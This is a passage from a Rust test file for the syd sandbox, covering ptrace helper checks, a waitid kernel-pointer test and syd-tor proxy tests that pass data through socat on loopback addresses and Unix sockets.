assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_reserved_nonzero() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_reserved_nonzero")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_flags_nonzero() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_flags_nonzero")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_change_nr() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_change_nr")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_change_arg0() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_change_arg0")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_change_arg1() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_change_arg1")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_change_arg2() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_change_arg2")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_change_arg3() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_change_arg3")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_change_arg4() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_change_arg4")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_set_syscall_info_change_arg5() -> TestResult {
skip_unless_ptrace_set_syscall_info!();
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_set_syscall_info_change_arg5")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_arg0() -> TestResult {
ptrace_arg_test("ptrace_get_arg0")
}
fn test_syd_ptrace_get_arg1() -> TestResult {
ptrace_arg_test("ptrace_get_arg1")
}
fn test_syd_ptrace_get_arg2() -> TestResult {
ptrace_arg_test("ptrace_get_arg2")
}
fn test_syd_ptrace_get_arg3() -> TestResult {
ptrace_arg_test("ptrace_get_arg3")
}
fn test_syd_ptrace_get_arg4() -> TestResult {
ptrace_arg_test("ptrace_get_arg4")
}
fn test_syd_ptrace_get_arg5() -> TestResult {
ptrace_arg_test("ptrace_get_arg5")
}
fn test_syd_ptrace_set_arg0() -> TestResult {
ptrace_arg_test("ptrace_set_arg0")
}
fn test_syd_ptrace_set_arg1() -> TestResult {
ptrace_arg_test("ptrace_set_arg1")
}
fn test_syd_ptrace_set_arg2() -> TestResult {
ptrace_arg_test("ptrace_set_arg2")
}
fn test_syd_ptrace_set_arg3() -> TestResult {
ptrace_arg_test("ptrace_set_arg3")
}
fn test_syd_ptrace_set_arg4() -> TestResult {
ptrace_arg_test("ptrace_set_arg4")
}
fn test_syd_ptrace_set_arg5() -> TestResult {
ptrace_arg_test("ptrace_set_arg5")
}
fn ptrace_arg_test(name: &str) -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", name)
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_args0() -> TestResult {
ptrace_arg_test("ptrace_get_args0")
}
fn test_syd_ptrace_get_args1() -> TestResult {
ptrace_arg_test("ptrace_get_args1")
}
fn test_syd_ptrace_get_args2() -> TestResult {
ptrace_arg_test("ptrace_get_args2")
}
fn test_syd_ptrace_get_args3() -> TestResult {
ptrace_arg_test("ptrace_get_args3")
}
fn test_syd_ptrace_get_args4() -> TestResult {
ptrace_arg_test("ptrace_get_args4")
}
fn test_syd_ptrace_get_args5() -> TestResult {
ptrace_arg_test("ptrace_get_args5")
}
fn test_syd_ptrace_set_args0() -> TestResult {
ptrace_arg_test("ptrace_set_args0")
}
fn test_syd_ptrace_set_args1() -> TestResult {
ptrace_arg_test("ptrace_set_args1")
}
fn test_syd_ptrace_set_args2() -> TestResult {
ptrace_arg_test("ptrace_set_args2")
}
fn test_syd_ptrace_set_args3() -> TestResult {
ptrace_arg_test("ptrace_set_args3")
}
fn test_syd_ptrace_set_args4() -> TestResult {
ptrace_arg_test("ptrace_set_args4")
}
fn test_syd_ptrace_set_args5() -> TestResult {
ptrace_arg_test("ptrace_set_args5")
}
fn test_syd_ptrace_get_arch_matches_native() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_arch_matches_native")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_stack_ptr_matches_proc() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_stack_ptr_matches_proc")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_get_stack_ptr_einval() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_stack_ptr_einval")
.status()
.expect("execute syd-test-do");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_ptrace_get_link_register_in_text() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_get_link_register_in_text")
.status()
.expect("execute syd-test-do");
if cfg!(any(
target_arch = "x86_64",
target_arch = "x86",
target_arch = "m68k"
)) {
assert_status_unimplemented!(status);
} else {
assert_status_ok!(status);
}
Ok(())
}
fn test_syd_ptrace_getsiginfo_user() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_getsiginfo_user")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_getsiginfo_tkill() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_getsiginfo_tkill")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_getsiginfo_queue() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_getsiginfo_queue")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrace_getsiginfo_kernel_segv() -> TestResult {
let syd_do = &SYD_DO.to_string();
let status = Command::new(syd_do)
.env("SYD_TEST_DO", "ptrace_getsiginfo_kernel_segv")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_waitid_with_kptr_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("waitid_kptr", NONE)
.status()
.expect("execute syd");
assert_status_faulted!(status);
Ok(())
}
fn test_syd_waitid_with_kptr_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/allow_unsafe_kptr:1")
.do_("waitid_kptr", NONE)
.status()
.expect("execute syd");
assert_status_faulted!(status);
Ok(())
}
fn test_syd_tor_recv4_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("diff", "grep", "sed", "sh", "shuf", "socat", "tail");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:0,bind=127.0.0.1,forever 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- socat -u TCP4:127.0.0.1:9050,forever OPEN:msg,wronly,creat,excl
tail >&2 log
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_recv6_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("diff", "grep", "sed", "sh", "shuf", "socat", "tail");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d FILE:chk TCP6-LISTEN:0,bind=[::1],forever,ipv6only 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- socat -u TCP6:[::1]:9050,forever OPEN:msg,wronly,creat,excl
tail >&2 log
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send44_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP4-LISTEN:0,bind=127.0.0.1,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send46_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP6-LISTEN:0,bind=[::1],fork,ipv6only OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->::1:$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on \
-mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send4u_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"diff", "grep", "kill", "sed", "sh", "mktemp", "readlink", "socat", "tail"
);
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX (override with SYD_TEST_TOR_UNIX)"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on -m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
-- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send66_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP6-LISTEN:0,bind=[::1],fork,ipv6only OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -ex <<'EOF'
socat -u -d -d FILE:chk TCP6:[::1]:9050,forever
set +x
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send64_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("diff", "grep", "kill", "sed", "sh", "shuf", "socat", "tail");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d TCP4-LISTEN:0,bind=127.0.0.1,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->127.0.0.1:$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
socat -u FILE:chk TCP6:[::1]:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send6u_one() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!("diff", "grep", "kill", "sh", "mktemp", "readlink", "socat", "tail");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-ce")
.arg(format!(
r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX (override with SYD_TEST_TOR_UNIX)"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
:>log
:>msg
set -x
{syd_pds} socat -u -d -d UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
-- sh -e <<'EOF'
socat -u FILE:chk TCP6:[::1]:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while ! grep -q childdied log; do :; done
EOF
diff -u chk msg
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send44_many_seq() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP4-LISTEN:0,bind=127.0.0.1,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send46_many_seq() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->::1$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on \
-mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send4u_many_seq() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail", "mktemp",
"readlink",
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
